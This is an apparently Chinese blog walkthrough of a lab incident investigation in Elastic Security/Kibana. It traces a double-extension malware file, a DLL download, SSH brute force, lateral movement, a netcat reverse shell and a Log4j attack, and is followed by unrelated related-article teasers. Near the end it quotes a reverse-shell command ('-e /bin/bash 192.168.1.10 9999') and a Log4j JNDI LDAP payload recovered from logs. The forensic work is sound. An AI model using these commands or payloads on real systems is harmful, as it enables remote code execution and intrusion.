Elastic日志分析

目录

    • 介绍
    • 步骤

介绍

Elasticsearch 是在 Apache Lucene 上构建的分布式搜索和分析引擎。Elasticsearch常用于日志分析、全文搜索、安全智能、业务分析和运维智能使用案例。

可以使用 JSON 文档形式或通过 API 等将数据发送到 Elasticsearch。 Elasticsearch 自动存储原始文档,并在集群的索引中添加该文档的可搜索引用。然后,您就可以使用 Elasticsearch API 搜索和检索该文档。还可以利用可视化数据并构建交互式控制面板。

步骤

在操作机中,打开FireFox,输入about:config打开配置页面,输入network.security.ports.banned.override,将值更改为5601
在这里插入图片描述

打开目标机IP:5601进入elastic日志分析系统,利用账户名elastic密码elastic登陆
在这里插入图片描述
在这里插入图片描述

点击左上角菜单,选中SecurityOverview模块
在这里插入图片描述

点击alerts打开警报模块
在这里插入图片描述

点击Add Fliter,在Field栏输入process.nameOperator选择is,可以查看到引起alert的所有程序(也可以不筛选,直接在KQL处输入file.name: *.*.*查找)
在这里插入图片描述

根据系统总结筛选的结果,可以分析出有一个双重扩展名的程序Acount_details.pdf.exe,在下方使用TimeStamp进行排序可得最先出现Acount_details.pdf.exe程序的用户名是ahmed
在这里插入图片描述

主机名和另一个执行恶意程序的用户名也显示在此处
在这里插入图片描述

点击左上角菜单,选中analyticsdiscover模块,点击切换为Winlogbeat,输入file.name: *.*.exe进行确认
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
返回Securityalerts模块,输入file.name : "Acount_details.pdf.exe"语句进行筛选,以TimeStamp Sort old-new排序,在最早时间线处点击盒子图标Analyze event进行自动日志分析
在这里插入图片描述

点击NetWork,找到最早时间线的Network start,点击加密的字符串
在这里插入图片描述

打开连接详情后可以查看到攻击者IP
在这里插入图片描述

analyticsdiscover模块,切换至winlogbeat,输入process.name : "Acount_details.pdf.exe" and user.name: "ahmed"KQL命令,筛选ip
在这里插入图片描述

返回Securityalerts模块,输入file.name:*.dll and file.size:8704 and process.name: "Acount_details.pdf.exe"进行筛选
在这里插入图片描述

点击盒子图标Analyze event进行自动日志分析
在这里插入图片描述

点击当前连接的file,筛选两个file creation
在这里插入图片描述

分析得知,攻击者通过恶意文件下载了mCblHDgWP.dll这个dll文件
在这里插入图片描述

返回Securityalerts模块,输入process.pid : 10716 and process.name : "cmd.exe"筛选
在这里插入图片描述

点击盒子图标Analyze event进行自动日志分析
点击cmd.exe,查看进程信息,进程PID是10716,具有NT AUTHORITY权限,父进程ID是8856
在这里插入图片描述

点击rundll32.exe查看进程信息,进程PID为8856,是PID10716的父进程
在这里插入图片描述

点击rundll32.exeregistry查看注册表
在这里插入图片描述

analyticsdiscover模块,切换至logs,以registry.path为类型,输入process.name: "rundll32.exe" and process.pid : 8856筛选,进一步确认
在这里插入图片描述

返回Securityhost模块,输入KQL语句process.name: "powershell.exe" and process.pid : 8836筛选,点击盒子图标Analyze event进行自动日志分析
在这里插入图片描述

点击Powershell.exe,查看file change,powershell进程更改的文件名为ModuleAnalysisCache
在这里插入图片描述
在这里插入图片描述

返回Securityhost模块,输入process.name: "powershell.exe" and process.pid : 11676,选中event.action为File created的条目进行查看,点击盒子图标Analyze event进行自动日志分析
在这里插入图片描述

点击Powershell.exefile,选择时间线第一个创建的文件信息
在这里插入图片描述

查看信息后得知,_PSScriptPolicyTest_bymwxuft.3b5.ps1是PID为11676创建的第一个.ps1扩展名的文件
在这里插入图片描述

返回Securityhost模块,针对每个主机的IP进行查询
在这里插入图片描述

Windows服务器的LAN是192.168.10.0/24
在这里插入图片描述

可以得知,elastic的LAN是192.168.20.0/24,CentOS的LAN是192.168.30.0/24,ubuntu的LAN是192.168.10.0/24,localhost.localdomain的LAN是192.168.122.0/24。只有ubuntu服务器和windows服务器的LAN是相同的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在ubuntu服务器的Authentications中,有大量的用户登陆认证错误,可以推断在ubuntu服务器中发生了暴力破解攻击。
在这里插入图片描述

通过日志分析,针对既有登录失败又有登陆成功的用户名,只有salemroot用户。其中最后成功登陆的IP是Windows服务器,判断利用Windows服务器作为跳板进行了横向渗透。
在这里插入图片描述

返回analyticsdiscover模块,使用KQL命令host.name: "ubuntu" and log.file.path : "/var/log/auth.log" and system.auth.ssh.event : "Accepted",过滤器使用user.name筛选。salem是暴力破解后登录的用户名
在这里插入图片描述
返回Securityhost,点击events,使用KQL语句host.name: "ubuntu" and user.name: "salem" and process.args: wget,过滤ubuntu服务器的用户名salem的进程命令为wget的事件
在这里插入图片描述

针对时间线最先发生的事件,点击盒子图标Analyze event进行自动日志分析,点击wget即可查看process.args的cve编号
在这里插入图片描述

Securityhost,点击events,利用KQL命令host.name: "ubuntu" and user.name: "salem" and process.args : "python3"筛选,在时间线最先发生的事件点击盒子图标Analyze event进行自动日志分析
在这里插入图片描述

在分析中,点击python3file,可以明确看到python3进程创建了3个文件,均为同一时间
在这里插入图片描述

Securityhost,点击events,利用KQL命令user.name: root and process.pid: 3011筛选命令执行信息,选择event.actionexec的条目
在这里插入图片描述

点击盒子图标Analyze event进行自动日志分析,可以分析出执行的命令是bash -i
在这里插入图片描述

返回SecurityAlerts模块,输入KQL命令signal.rule.name: "Netcat Network Activity",可以得知服务器主机名是CentOS
在这里插入图片描述

点击盒子图标Analyze event进行自动日志分析,点击运行的进程nc,可以看到用户名为solr和父进程PID
在这里插入图片描述

可以在这个进程处,确认反弹shell的执行命令nv -e /bin/bash 192.168.1.10 9999
在这里插入图片描述

对父进程PID进一步溯源,是java程序调起的nc命令
在这里插入图片描述

analyticsdiscover模块,点击切换为filebeat,输入KQL语句log.file.path:/var/solr/logs/solr.log,在过滤器处输入message筛选向服务器提交信息的条目
在这里插入图片描述

根据条目得知,发生log4j攻击的路径为/admin/cores,,提交的params参数为foo,JNDI载荷为{foo=${jndi:ldap://192.168.1.10:1389/Exploit}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/411291.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Launcher3 长按Hotseat图标,显示删除角标(红底白杠杠用于删除图标或者显示应用未读消息数量)

基于Android 13,Launcher3实现需求: 1. 长按Hotseat的图标显示红色删除角标 2. 点击角标,删除图标并保存到Database 3.点击其他地方,取消编辑hotseat图标模式 实现效果: 实现原理: 图标是由BubbleTextView来是实现…

数据库系统入门指南

数据库系统入门指南 数据库系统是现代信息技术的重要组成部分。本文将介绍数据库、数据库管理系统、数据库应用系统以及相关概念,帮助初学者快速上手。 什么是数据库? 数据库是一个有组织、可共享的数据集合。它存储在计算机中,数据按一定…

idea import配置

简介 本文记录idea中import相关配置:自动导入依赖、自动删除无用依赖、避免自动导入*包 自动导入依赖 在编辑代码时,当只有一个具有匹配名称的可导入声明时,会自动添加导入 File -> Settings -> Editor -> General -> Auto Imp…

FL Studio24苹果mac电脑破解绿色版安装包下载

FL Studio 24最新版本,这可不仅仅是一个音乐制作软件的升级,它是音乐创作爱好者的福音,是专业制作人的心头好。那么,它究竟有哪些魔力,能让这么多人为之疯狂呢? 我们来看看它的界面。FL Studio 24的界面设…

Nginx: 负载均衡基础配置, 加权轮序, hash算法, ip_hash算法, least_conn算法

负载均衡 在真正的反向代理场景中,必然涉及到的一个概念,就是负载均衡所谓负载均衡,也就是将Nginx的请求发送给后端的多台应用程序服务器通常的应用程序服务器,后面的每台服务器都是一个同等的角色,提供相同的功能 用…

类与ES6类之间的继承

前言 ● 下面是之前学习ES6 classes的代码 class PersonCl {constructor(fullName, birthYear) {this.fullName fullName;this.birthYear birthYear;}calcAge() {console.log(2037 - this.birthYear);}greet() {console.log(你好${this.fullName});}get age() {return 2037…

debian12 - openssh-9.6.P1的编译安装(真机 - 联想G480)

文章目录 debian12 - openssh-9.6.P1的编译安装(真机 - 联想G480)概述笔记G480上安装debian12配置debian12现在用WindTerm_2.6.0按照telnet方式去连接试试配置debian12中的telnet安装telnet服务查看所有服务当前ssh, telnet状态准备更新openssl3.2和openssh在真机上更新openssl…

自动分词代码

代码 from wordsegment import load, segment# 加载模型 load()# 示例 actions ["seeyoulater","turnleft","turnr" ]segmented_actions [segment(action) for action in actions] segmented_actions [" ".join(action) for actio…

云计算概述

云计算的产生以及发展 分布式计算:包含了云计算和网格计算 云计算:以数据为中心进行的计算 网格计算:以计算为中心进行的计算 诞生-1999 初期的发展-2007-2008 加速发展-2009-2014 日渐成熟阶段-2015-目前 云计算的种类 公有云-第三方提供…

chapter08-面向对象编程——(chapter08作业)——day10

343-作业01 package chapter08.homeworks;public class Homework01 {public static void main(String[] args) {/*1.定义一个Person类{name, age, job},初始化Person对象数组,有3个person对象,并按照age从大到小进行排序,提示,使用冒泡排序 H…

Day50 | 108.冗余连接 109.冗余连接II

108.冗余连接 108. 冗余连接 题目 题目描述 树可以看成是一个图(拥有 n 个节点和 n - 1 条边的连通无环无向图)。 现给定一个拥有 n 个节点(节点标号是从 1 到 n)和 n 条边的连通无向图,请找出一条可以删除的边&…

一个简单的CRM客户信息管理系统,提供客户,线索,公海,联系人,跟进信息和数据统计功能(附源码)

前言 在当今快速发展的商业环境中,企业管理面临着种种挑战,尤其是如何有效管理和维护客户关系成为了一个关键问题。现有的一些处理方案往往存在功能分散、操作复杂、数据孤岛等痛点,这不仅影响了工作效率,也难以满足企业对客户关…

使用kafka完成数据的实时同步,同步到es中。(使用kafka实现自动上下架 upper、lower)

文章目录 1、发送消息 KafkaService2、生产者 service-album -> AlbumInfoServiceImpl2.1、新增 saveAlbumInfo()2.2、更新 updateAlbumInfo()2.3、删除 removeAlbumInfo() 3、消费者 service-search - > AlbumListener.java 上架:新增专辑到 es下架&#xff…

【归纳总结】常见排序算法及其实现:直接插入排序、希尔排序、选择排序、堆排序、冒泡排序、快排、归并排序

思维导图: 目录 思维导图: 一、插入排序 1.直接插入排序: a:基本思想: b:基本步骤: c:复杂度分析 d:Java代码实现: 2.希尔排序(缩小增量排序) a:基本思想: c…

用AI来学习英语口语(白嫖,所以稍微麻烦些)

写在前面 本文看下如何使用AI来免费学习英语口语。 1:正文 首先,我们点击这里来到一个对话窗口,你可以在这个窗口中使用英语来询问你的问题,比如what can i do when i am not happy: 接着复制机器人回答内容&#…

离散数学中的逻辑基础(1)

目录 引言 1. 命题及其逻辑运算 2. 逻辑等价与范式 3. 逻辑推理规则 4. 逻辑问题练习 5. 总结 引言 逻辑是离散数学的核心概念之一,它用于精确描述数学命题并分析其关系。逻辑不仅是数学证明的基础,也是计算机科学中算法设计和编程的基石。本篇文…

minio文件存储+ckplayer视频播放(minio分片上传合并视频播放)

文章目录 参考简述效果启动minio代码配置类RedisConfigWebConfigMinioClientAutoConfigurationOSSPropertiesapplication.yml 实体类MinioObjectResultStatusCodeOssFileOssPolicy 工具类FileTypeUtilMd5UtilMediaTypeMinioTemplate 文件分片上传与合并MinioFileControllerMini…

Avalonia与WPF开发时的差异总结

1.一个控件绑定到另外一个控件的属性 WPF: <TextBox Height"30" Width"100" x:Name"tb"></TextBox><TextBlock Text"{Binding ElementNametb,PathText}" ></TextBlock>Avalonia: <TextBox Height"3…

YarnClient发送和接收请求源码解析

YarnClient发送和接收请求流程 Yarn是通过RPC协议通信的&#xff0c;协议类型可以通过查看RpcKind类得知&#xff0c;总共有三种类型&#xff1a; RPC_BUILTIN ((short) 1), // Used for built in calls by tests RPC_WRITABLE ((short) 2), // Use WritableRp…

比特币的签名和验证(基于ECDSA)

比特币&#xff08;Bitcoin&#xff09;和以太坊&#xff08;Ethereum&#xff09;等区块链技术使用了加密算法来确保交易的安全性。私钥签名和公钥验证是这些算法的核心部分&#xff0c;主要用于证明交易的发起者拥有交易中使用的资金的控制权&#xff0c;而不需要暴露私钥本身…